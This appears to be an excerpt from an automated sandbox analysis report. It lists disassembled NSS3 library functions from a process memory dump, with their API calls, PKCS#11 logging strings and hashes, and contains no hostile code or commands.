NSS_GetAlgorithmPolicy.NSS3(00000000,00000020), ref: 6CE65ED9
SECKEY_SignatureLen.NSS3(?), ref: 6CE65F09
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6CE65F49
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CE65F89
free.MOZGLUE(?), ref: 6CE65FA0
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE65FB6
free.MOZGLUE(00000000), ref: 6CE65FBF
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CE6600C
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CE66079
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE66084
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE66094

Strings

, xrefs: 6CE65EEB

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Item_Zfree$AlgorithmErrorPolicyPublicfreememcpy$Alloc_CopyDestroyHashSignatureType
String ID:
API String ID: 2310191401-3916222277
Opcode ID: 7c3b5032e880661788ed3279138cbf264bd6939dd5049042d4ff7b64b0b596c4
Instruction ID: 20749fe181ef552d7bae43d166adf99c757dcd8f580ff2a6c92251ff14857680
Opcode Fuzzy Hash: 7c3b5032e880661788ed3279138cbf264bd6939dd5049042d4ff7b64b0b596c4
Instruction Fuzzy Hash: EF81F1B1F612059BDF108B66CC81BAE77B5AF0431CF344128E859A7F82E731E814CB92

Function 6CE86D60 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6CE86D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE86DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE86DC3

Part of subcall function 6CF6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE86DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CE86DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CE86E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6CE86E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6CE86E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6CE86EB9

Strings

C_Digest, xrefs: 6CE86D81
hSession = 0x%x, xrefs: 6CE86D9E, 6CE86DAE
*pulDigestLen = 0x%x, xrefs: 6CE86EB4
pulDigestLen = 0x%p, xrefs: 6CE86E42
ulDataLen = %d, xrefs: 6CE86E0E
(CK_INVALID_HANDLE), xrefs: 6CE86DBC
pData = 0x%p, xrefs: 6CE86DF5
pDigest = 0x%p, xrefs: 6CE86E27

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest
API String ID: 1003633598-2270781106
Opcode ID: 986d31bc16d665e2b33e693c531cb420f6d2d7109fcf23dbf1aa266568296cd2
Instruction ID: f7dd75374f93207110609d90f7c7d6c8f2720e189e76bc364777c5d4d405891c
Opcode Fuzzy Hash: 986d31bc16d665e2b33e693c531cb420f6d2d7109fcf23dbf1aa266568296cd2
Instruction Fuzzy Hash: 5641F675A22004AFDB00DF55DD89F8A3BB6AB4231CF154469F80DABB51DB32DD08CBA5

Function 6CE89C40 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 118COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_LoginUser), ref: 6CE89C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE89C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE89CA3

Part of subcall function 6CF6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE89CB9
PR_LogPrint.NSS3( userType = 0x%x,?), ref: 6CE89CDA
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CE89CF5
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CE89D10
PR_LogPrint.NSS3( pUsername = 0x%p,?), ref: 6CE89D29
PR_LogPrint.NSS3( ulUsernameLen = %d,?), ref: 6CE89D42

Strings

ulPinLen = %d, xrefs: 6CE89D0B
hSession = 0x%x, xrefs: 6CE89C7E, 6CE89C8E
(CK_INVALID_HANDLE), xrefs: 6CE89C9C
pPin = 0x%p, xrefs: 6CE89CF0
C_LoginUser, xrefs: 6CE89C61
pUsername = 0x%p, xrefs: 6CE89D24
ulUsernameLen = %d, xrefs: 6CE89D3D
userType = 0x%x, xrefs: 6CE89CD5

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ pUsername = 0x%p$ ulPinLen = %d$ ulUsernameLen = %d$ userType = 0x%x$ (CK_INVALID_HANDLE)$C_LoginUser
API String ID: 1003633598-3838449515
Opcode ID: c99019117e2dbe442a5691810f10b75c29766b92e5031763d02d8e6b2f63eb82
Instruction ID: f40c6c5eeddad734483e707f2d5855fbe09492c58ae6ce881cb24d3f65bcf79e
Opcode Fuzzy Hash: c99019117e2dbe442a5691810f10b75c29766b92e5031763d02d8e6b2f63eb82
Instruction Fuzzy Hash: F841F971E02104AFDB00DF50DD88F493BB2AB4330DF594429E80D6BB51DB328818CBAA

Function 6CE41FE0 Relevance: 28.8, APIs: 19, Instructions: 254COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000084,00000001,00000000), ref: 6CE42007
calloc.MOZGLUE(00000001,00000084), ref: 6CE42077
calloc.MOZGLUE(00000001,0000002C), ref: 6CE420DF
TlsSetValue.KERNEL32(00000000), ref: 6CE42188
PR_NewCondVar.NSS3 ref: 6CE421B7
calloc.MOZGLUE(00000001,00000084), ref: 6CE4221C
InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CE422C2
GetLastError.KERNEL32 ref: 6CE422CD
free.MOZGLUE(00000000), ref: 6CE422DD

Part of subcall function 6CE40F00: PR_GetPageSize.NSS3(6CE40936,FFFFE8AE,?,6CDD16B7,00000000,?,6CE40936,00000000,?,6CDD204A), ref: 6CE40F1B
Part of subcall function 6CE40F00: PR_NewLogModule.NSS3(clock,6CE40936,FFFFE8AE,?,6CDD16B7,00000000,?,6CE40936,00000000,?,6CDD204A), ref: 6CE40F25

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: calloc$CondCountCriticalErrorInitializeLastModulePageSectionSizeSpinValuefree
String ID:
API String ID: 3559583721-0
Opcode ID: c8d1fee28f86fb97765fdea171b18f014f934adaf68affd44b1ea90237aa1530
Instruction ID: e53f07c1b180bb204055c4c17be421d58441cca6e67f711932a53397bde4e26c
Opcode Fuzzy Hash: c8d1fee28f86fb97765fdea171b18f014f934adaf68affd44b1ea90237aa1530
Instruction Fuzzy Hash: E391BDB0A11302DFDBA0DF78E84975BBAF4BB06748F20842EE44AD6B40DB71A105CF95

Function 6CF69C60 Relevance: 27.2, APIs: 18, Instructions: 202threadCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000080), ref: 6CF69C70
PR_NewLock.NSS3 ref: 6CF69C85

Part of subcall function 6CF198D0: calloc.MOZGLUE(00000001,00000084,6CE40936,00000001,?,6CE4102C), ref: 6CF198E5

PR_NewCondVar.NSS3(00000000), ref: 6CF69C96

Part of subcall function 6CE3BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6CE421BC), ref: 6CE3BB8C

PR_NewLock.NSS3 ref: 6CF69CA9

Part of subcall function 6CF198D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CF19946
Part of subcall function 6CF198D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CDD16B7,00000000), ref: 6CF1994E
Part of subcall function 6CF198D0: free.MOZGLUE(00000000), ref: 6CF1995E

PR_NewLock.NSS3 ref: 6CF69CB9
PR_NewLock.NSS3 ref: 6CF69CC9
PR_NewCondVar.NSS3(00000000), ref: 6CF69CDA

Part of subcall function 6CE3BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6CE3BBEB
Part of subcall function 6CE3BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6CE3BBFB
Part of subcall function 6CE3BB80: GetLastError.KERNEL32 ref: 6CE3BC03
Part of subcall function 6CE3BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6CE3BC19
Part of subcall function 6CE3BB80: free.MOZGLUE(00000000), ref: 6CE3BC22

PR_NewCondVar.NSS3(?), ref: 6CF69CF0
PR_NewPollableEvent.NSS3 ref: 6CF69D03

Part of subcall function 6CF5F3B0: PR_CallOnce.NSS3(6CFB14B0,6CF5F510), ref: 6CF5F3E6
Part of subcall function 6CF5F3B0: PR_CreateIOLayerStub.NSS3(6CFB006C), ref: 6CF5F402
Part of subcall function 6CF5F3B0: PR_Malloc.NSS3(00000004), ref: 6CF5F416
Part of subcall function 6CF5F3B0: PR_NewTCPSocketPair.NSS3(?), ref: 6CF5F42D
Part of subcall function 6CF5F3B0: PR_SetSocketOption.NSS3(?), ref: 6CF5F455
Part of subcall function 6CF5F3B0: PR_PushIOLayer.NSS3(?,000000FE,00000000), ref: 6CF5F473

Part of subcall function 6CF19890: TlsGetValue.KERNEL32(?,?,?,6CF197EB), ref: 6CF1989E

EnterCriticalSection.KERNEL32(?), ref: 6CF69D78
calloc.MOZGLUE(00000001,0000000C), ref: 6CF69DAF
_PR_CreateThread.NSS3(00000000,6CF69EA0,00000000,00000001,00000001,00000000,?,00000000), ref: 6CF69D9F

Part of subcall function 6CE3B3C0: TlsGetValue.KERNEL32 ref: 6CE3B403
Part of subcall function 6CE3B3C0: _PR_NativeCreateThread.NSS3(?,?,?,?,?,?,?,?), ref: 6CE3B459

_PR_CreateThread.NSS3(00000000,6CF6A060,00000000,00000001,00000001,00000000,?,00000000), ref: 6CF69DE8
calloc.MOZGLUE(00000001,0000000C), ref: 6CF69DFC
_PR_CreateThread.NSS3(00000000,6CF6A530,00000000,00000001,00000001,00000000,?,00000000), ref: 6CF69E29
calloc.MOZGLUE(00000001,0000000C), ref: 6CF69E3D
_PR_MD_UNLOCK.NSS3(?), ref: 6CF69E71
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CF69E89

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: calloc$CreateError$LockThread$CondCriticalSection$CountInitializeLastLayerSocketSpinValuefree$CallEnterEventMallocNativeOnceOptionPairPollablePushStub
String ID:
API String ID: 4254102231-0
Opcode ID: 22c23ffee1879f6de288533cd2563ef227f3b7cc913f8ad8201a4de39fe800fc
Instruction ID: 86c9e7a5789dabdf62c6c31ecf53b92b682a004810a74c164998f840938e12a9
Opcode Fuzzy Hash: 22c23ffee1879f6de288533cd2563ef227f3b7cc913f8ad8201a4de39fe800fc
Instruction Fuzzy Hash: D4612AB1E00706AFD714DF75D844AA6BBE8FF08208B14452AE85AC7B11EB71E914CBA1

Function 6CE63FF0 Relevance: 27.2, APIs: 18, Instructions: 201memoryCOMMON

Download Yara Rule

APIs

SECKEY_CopyPublicKey.NSS3(?), ref: 6CE64014

Part of subcall function 6CE639F0: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CE65E6F,?), ref: 6CE63A08
Part of subcall function 6CE639F0: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CE65E6F), ref: 6CE63A1C
Part of subcall function 6CE639F0: memset.VCRUNTIME140(-00000004,00000000,000000A8,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE63A3C

PORT_NewArena_Util.NSS3(00000800), ref: 6CE64038

Part of subcall function 6CEB0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE587ED,00000800,6CE4EF74,00000000), ref: 6CEB1000
Part of subcall function 6CEB0FF0: PR_NewLock.NSS3(?,00000800,6CE4EF74,00000000), ref: 6CEB1016
Part of subcall function 6CEB0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE587ED,00000008,?,00000800,6CE4EF74,00000000), ref: 6CEB102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6CE6404D

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6CF7A0F4), ref: 6CE640C2

Part of subcall function 6CEAF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CEAF0C8
Part of subcall function 6CEAF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CEAF122

SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,00000010,00000000), ref: 6CE6409A

Part of subcall function 6CEABE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CE5E708,00000000,00000000,00000004,00000000), ref: 6CEABE6A
Part of subcall function 6CEABE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CE604DC,?), ref: 6CEABE7E
Part of subcall function 6CEABE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CEABEC2

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE640DE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE640F4
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE64108
SECITEM_CopyItem_Util.NSS3(00000000,?,00000010), ref: 6CE6411A
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,000000C8), ref: 6CE64137
SECITEM_CopyItem_Util.NSS3(00000000,-0000001C,-00000020), ref: 6CE64150
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,-00000010,6CF7A1C8), ref: 6CE6417E
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,0000007C), ref: 6CE64194
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CE641A7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE641B2
PK11_DestroyObject.NSS3(?,?), ref: 6CE641D9
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CE641FC
SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6CF7A1A8), ref: 6CE6422D

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Item_$Arena_$Copy$ArenaFree$AlgorithmEncodeError$Alloc_Value$AllocateCriticalDestroyEnterFindInitK11_LockObjectPoolPublicSectionTag_UnlockZfreecallocmemset
String ID:
API String ID: 912348568-0
Opcode ID: 5ab8e6e81d34609722ae1d402fdc20cd6a527b781349f525bdbe6b25778af19f
Instruction ID: 68f2fcfa0c5683bed19de6bdfd0ec504d46b499de0cba5213ea98722a67c7609
Opcode Fuzzy Hash: 5ab8e6e81d34609722ae1d402fdc20cd6a527b781349f525bdbe6b25778af19f
Instruction Fuzzy Hash: F35115B2A503016BF710DB669C61B6776FDDF6124CF34452EE969C6F82FB31E40482A2

Function 6CEA8E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6CEA8E01,00000000,6CEA9060,6CFB0B64), ref: 6CEA8E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6CEA8E01,00000000,6CEA9060,6CFB0B64), ref: 6CEA8E9E
PORT_ArenaAlloc_Util.NSS3(6CFB0B64,00000001,?,?,?,?,6CEA8E01,00000000,6CEA9060,6CFB0B64), ref: 6CEA8EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6CEA8E01,00000000,6CEA9060,6CFB0B64), ref: 6CEA8EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6CEA8E01,00000000,6CEA9060,6CFB0B64), ref: 6CEA8ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6CEA8E01,00000000,6CEA9060,6CFB0B64), ref: 6CEA8EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6CEA8E01), ref: 6CEA8EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CFB0B64,6CFB0B64), ref: 6CEA8F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6CEA8F3F

Part of subcall function 6CEAA110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6CEAA421,00000000,00000000,6CEA9826), ref: 6CEAA136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEA904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6CEA8E76

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: df639edb548deb5a085d444be6265976688df1308635d89409abc9087996d663
Instruction ID: feff9da8b94cc17a767d63df4874004daff1effded5eb1137b61f4f039c02469
Opcode Fuzzy Hash: df639edb548deb5a085d444be6265976688df1308635d89409abc9087996d663
Instruction Fuzzy Hash: 9E6186B5D0010A9FDB10CF96CC80AAFB7B5FF84358F244529DC18AB740E732A916CBA0

Function 6CE58E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE58E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CE58E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CE58EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CF818D0,?), ref: 6CE58F03
PR_CallOnce.NSS3(6CFB2AA4,6CEB12D0), ref: 6CE58F19
PL_FreeArenaPool.NSS3(?), ref: 6CE58F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CE58F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CE58F65
PL_FinishArenaPool.NSS3(?), ref: 6CE58FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6CE58FFE
PR_CallOnce.NSS3(6CFB2AA4,6CEB12D0), ref: 6CE59012
PL_FreeArenaPool.NSS3(?), ref: 6CE59024
PL_FinishArenaPool.NSS3(?), ref: 6CE5902C
PORT_DestroyCheapArena.NSS3(?), ref: 6CE5903E

Strings

security, xrefs: 6CE58EE7

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 24557e0f0c6d0113c7012f551e16bd49e75b20f519cbdb60909dc8f6803a6cc7
Instruction ID: 149d2e74f7436a551246f2ecf381585a970c841b2e7074463e0207c51d1a1f89
Opcode Fuzzy Hash: 24557e0f0c6d0113c7012f551e16bd49e75b20f519cbdb60909dc8f6803a6cc7
Instruction Fuzzy Hash: 3F514BB1658200ABD7205A559C41FAB73F8AF8635CFB4082EF455A7B40D733D9198763

Function 6CE84E60 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6CE84E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE84EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE84EC7

Part of subcall function 6CF6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE84EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CE84F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE84F1A
PR_LogPrint.NSS3(?,00000000), ref: 6CE84F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6CE84F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6CE84F68

Strings

pTemplate = 0x%p, xrefs: 6CE84F4A
hSession = 0x%x, xrefs: 6CE84EA2, 6CE84EB2
ulCount = %d, xrefs: 6CE84F63
(CK_INVALID_HANDLE), xrefs: 6CE84EC0, 6CE84F13
C_GetAttributeValue, xrefs: 6CE84E7E
hObject = 0x%x, xrefs: 6CE84EF5, 6CE84F05

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue
API String ID: 1003633598-3530272145
Opcode ID: d7755eb1d040509f159b916030a0862ed3dcb7f2108863ec81c2783a72b1dcf7
Instruction ID: 4133471a1fda462028f7950aa522c02960f13a10a459d02006bcd68fc21ca354
Opcode Fuzzy Hash: d7755eb1d040509f159b916030a0862ed3dcb7f2108863ec81c2783a72b1dcf7
